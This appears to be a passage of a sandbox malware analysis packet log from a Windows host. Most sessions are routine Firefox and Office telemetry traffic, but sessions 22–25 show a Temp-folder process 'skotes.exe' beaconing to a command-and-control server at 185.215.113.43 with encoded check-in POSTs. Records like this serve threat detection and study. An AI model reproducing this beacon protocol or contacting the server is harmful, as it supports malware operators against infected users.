Nov 2, 2024 07:16:53.931094885 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 01 Nov 2024 16:02:58 GMT Age: 51235 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 2, 2024 07:16:56.512025118 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 2, 2024 07:16:56.642020941 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 01 Nov 2024 16:02:58 GMT Age: 51238 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 2, 2024 07:17:06.659079075 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 2, 2024 07:17:16.730237961 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 2, 2024 07:17:26.832547903 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 2, 2024 07:17:36.916153908 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	64046	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:53.673899889 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 2, 2024 07:16:54.633366108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	64047	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:56.249819994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 2, 2024 07:16:57.207406998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	64048	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:58.727197886 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 2, 2024 07:16:59.674454927 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	64049	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:17:01.292643070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 2, 2024 07:17:02.221527100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	63716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:54 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:54 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:54 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 01 Nov 2024 06:15:12 GMT ETag: "0x8DCFA3C8B31D3C9" x-ms-request-id: b82d4cd6-601e-00ab-7849-2c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061554Z-176bd8f9bc5bc7vmhC1DFWbxbs00000001z000000000e56w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:54 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-02 06:15:54 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	63718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:55 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:55 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:55 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a3e6b75e-301e-000c-5a08-2c323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061555Z-16ccfc49897nrfsvhC1DFW8e0000000001q000000000k5za x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:55 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	63717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:55 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:55 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:55 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: a28262d6-f01e-0003-5708-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061555Z-16dc884887bbfwjkhC1DFWyza800000001m000000000bx66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:15:55 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	63719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:15:55 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:15:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:15:55 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9d856691-501e-0035-564e-2cc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061555Z-176bd8f9bc55l2dfhC1DFWw03w00000001t0000000003rpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
